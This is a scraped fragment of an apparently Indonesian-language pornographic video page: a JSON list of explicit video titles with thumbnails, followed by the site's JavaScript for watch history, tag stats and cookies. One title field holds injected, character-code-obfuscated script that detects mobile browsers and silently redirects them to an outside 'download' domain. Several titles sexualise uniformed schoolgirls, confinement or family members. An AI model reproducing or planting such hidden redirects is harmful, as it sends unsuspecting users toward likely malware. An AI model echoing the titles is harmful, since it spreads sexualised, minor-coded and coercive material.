Insiden ejakulasi PTA Yurine Tsukino Saya menemukan tempat baru, saya diperlakukan seperti udara di rumah saya Tsukino Yurine Madonna","lastmod":"2026-07-11","duration":"02:14:07","url":"/play/19161974.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzQ2YjNhZTU0MmI0OGNjM2VkMGQxNGEwMTBjYzIxZWMuanBn.cache","vod_id":19163189,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}49 Adegan Seks Cumshot Terbaik: Lidah Lembut Berjalin dalam Adegan Seks Cumshot selama 4 Jam. Dibintangi: Aika Yamagishi, Yu Shinoda, Ai Sayama, dll. WANZ","lastmod":"2026-07-11","duration":"03:55:05","url":"/play/19163189.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzM2YzAzZjlhMzE1OGM1MzU0ZGY3YmJkOTA0MWQzNTcuanBn.cache","vod_id":18999412,"title":"PPPD-807 (FHD) Ejakulasi Internal Kakak Perempuan Pacar Berpayudara Besar OK Godaan Fukada Eimi [Subtitle Bahasa Mandarin HD yang Disensor]","lastmod":"2025-03-23","duration":"01:58:23","url":"/play/18999412.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTdiMjU5ZDM4NTZmNTZjNDI3Nzk0ODczYTJiMWM2ZTUuanBn.cache","vod_id":18943602,"title":"Seorang wanita muda bertubuh seksi dengan menggoda memperlihatkan payudara dan vulvanya sambil perlahan menurunkan celana jeans dan pakaian dalamnya, memperlihatkan vulvanya yang besar – pemandangan yang benar-benar memikat dan menggoda. Jangan sampai ketinggalan!","lastmod":"2025-12-14","duration":"00:31:31","url":"/play/18943602.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOThkOGVjMjQ2N2Y2ZDMwN2U4MTE3NWJhYmMzYjIxM2EuanBn.cache","vod_id":18929778,"title":"Seorang gadis cantik memamerkan kemampuan masturbasinya dengan vibrator dan dildo, bermain-main dengannya terus menerus. Erangan lembut dan desahan pelannya sangat menggoda. Jangan lewatkan jika Anda menyukainya!","lastmod":"2025-12-14","duration":"01:38:48","url":"/play/18929778.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTM2YzIzNDgwNmFkZmI3OTYwMDRhODViZTFjMWIyNTIuanBn.cache","vod_id":18977045,"title":"Cantik saat yoga, belahan pahamu terlihat! Bukankah kamu mencoba merayuku? Pacarku tergoda oleh belahan paha dan bokongku yang seksi saat yoga dan langsung ejakulasi. 1080P HD","lastmod":"2025-12-14","duration":"00:12:22","url":"/play/18977045.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjNiMDMyMWNjNDcxZjFjYTNkMGE2ZDcyZDVlOGZiYzguanBn.cache","vod_id":18935272,"title":"Seorang wanita muda yang cantik, seksi, dan baru menikah diam-diam bertemu dengan rekan kerjanya setelah pulang kerja dan mengerang: \"Sodomi aku sampai mati! Tak ada yang sebesar milikmu! Cukup! Aku ingin buang air kecil! Lepaskan aku!\" (Versi definisi tinggi)","lastmod":"2025-12-14","duration":"00:33:04","url":"/play/18935272.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTQwYzcyMzE2YzVhMTgwZGMwNDZlYjQxYTdlMTI4MDAuanBn.cache","vod_id":18982920,"title":"ONEX-034 Berhubungan Seks dengan Siswi Polos Berseragam Sesuka Hatimu 02","lastmod":"2025-03-23","duration":"04:00:15","url":"/play/18982920.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjEyNGJhOWQ4ZDUzNmJkMDI2OWI2MjZkNmFmN2UwZTMuanBn.cache","vod_id":18982798,"title":"Pendatang baru di industri film dewasa, seorang wanita muda yang cantik! Manis dan tampak polos! Sangat seksi dengan kemeja dan stoking hitam, stoking jala dan kaki yang indah, fetish kaki, posisi 69 dengan penis besar di mulutnya, menusuk dengan ganas ke dalam vaginanya.","lastmod":"2025-03-23","duration":"01:48:34","url":"/play/18982798.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDExZjFmNmMwZjA3Yzc2YWFjYzBkZDlhYzU0Yjc3YmIuanBn.cache","vod_id":18923613,"title":"Seorang gadis cantik dan langsing bermasturbasi menggunakan vibrator, mengoleskan santan ke vulvanya dan menggerakkan vibrator dengan cepat sambil mengerang dan terengah-engah. Sangat menggoda; jangan sampai ketinggalan jika Anda menyukainya!","lastmod":"2025-12-14","duration":"01:19:18","url":"/play/18923613.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmQxMGRlMmMwOTY2MTA4NzUyY2E0Y2ExMTRkNTcyYmIuanBn.cache","vod_id":18961761,"title":"[Subtitle Bahasa Mandarin] ATID-542 Apakah Kamu Mengizinkan Aku Melakukan Seks Anal? (Moonlight Sara)","lastmod":"2025-12-14","duration":"01:53:59","url":"/play/18961761.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODM4MzgxMDNmNGQyZjA5N2IzNTFhYjQ4Y2NlZjIwNjIuanBn.cache","vod_id":18980332,"title":"042CLT-079 [Versi Kanna] Khusus Mahasiswi! Dia bermain tebak-tebakan tentang pacarnya, dan puting serta penisnya terlihat dari dinding!","lastmod":"2025-12-14","duration":"01:08:37","url":"/play/18980332.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzVhMTcwNmVhNzY5YTc0MDQ4YWFiN2FhMDQ4ZWEyNjcuanBn.cache","vod_id":18981961,"title":"[Tanpa Sensor] KUSE-033 Seks Anal Perawan Perawat Baru (23 tahun) Mencoba Seks Anal dan Ejakulasi, Cairan Usus Menetes Keluar! Shinomiya Kanon","lastmod":"2025-03-23","duration":"01:52:08","url":"/play/18981961.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDMvMDNiMTU0MjFiZGRiZmIzNGJiOGYwMDM4MDgwODBjNDguanBn.cache","vod_id":19027692,"title":"Seorang pacar bertubuh seksi merayu pacarnya untuk berhubungan seks saat pacarnya sedang bermain video game.","lastmod":"2025-04-03","duration":"18:31","url":"/play/19027692.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTQxNGNjMjJjZDk0NjQyNTY5MzhhY2IxM2YyY2NjNWYuanBn.cache","vod_id":19009842,"title":"MEYD543 (FHD) Kesalahan yang Dilakukan Istriku... Nanami Kawakami [HD Sensor dengan Subtitel Bahasa Mandarin]","lastmod":"2025-03-24","duration":"01:56:08","url":"/play/19009842.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDdlMDI0OGNiMWYzZWFkMTkwOWU5YjM4Njg1YzRmOTguanBn.cache","vod_id":18929924,"title":"Pertunjukan masturbasi seorang gadis cantik dan langsing; pengambilan gambar jarak dekat dirinya dengan vibrator yang dimasukkan ke dalam vaginanya saat mandi di kamar mandi—sangat memikat dan menggoda. Jangan lewatkan jika Anda menyukainya!","lastmod":"2025-03-22","duration":"00:51:05","url":"/play/18929924.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGEzY2Q0ZDBhY2NlOTRiODIxNWZmZjI1NzQzYTI5MzguanBn.cache","vod_id":19026212,"title":"Senior, ayo kita bercinta secara diam-diam, godaan si iblis kecil.","lastmod":"2025-03-25","duration":"01:57:17","url":"/play/19026212.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTYxOWFlMmJiOWFkN2JiYTAzMDRhMTI3NDkwNGIyMTUuanBn.cache","vod_id":19025460,"title":"SSNI521 Rayuan rok mini terhadap ayah dan saudara laki-laki, guru perempuan cantik dan terobsesi Yoshitaka Nene.","lastmod":"2025-03-24","duration":"01:58:27","url":"/play/19025460.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTRmMzgyYzZhODViYWJmZDcxMTkxOWYzMjEwZjk3MTMuanBn.cache","vod_id":18936236,"title":"[Subtitle Bahasa Mandarin] HOMA-070 Seorang mahasiswi cantik jurusan sastra yang menyukai pria paruh baya dikurung di kampus.","lastmod":"2025-03-22","duration":"02:05:05","url":"/play/18936236.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvNjk1NzYyYjkxNzE2ZmEyMmEyYzM3NWZiY2Q5NjdkOTUuanBn.cache","vod_id":19065965,"title":"Pelajaran pelecehan menggoda dari guru Suzuki Mayu yang berdada besar dan berbulu - Suzuki Mayu AVSA_330","lastmod":"2025-12-14","duration":"02:06:24","url":"/play/19065965.html"}]},
videoTitle: '[HD Bahasa Mandarin] 15 ejakulasi beruntun, jilatan nymphomaniac yang manis dan menggoda, ejakulasi terus menerus dan hubungan seksual penetrasi.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}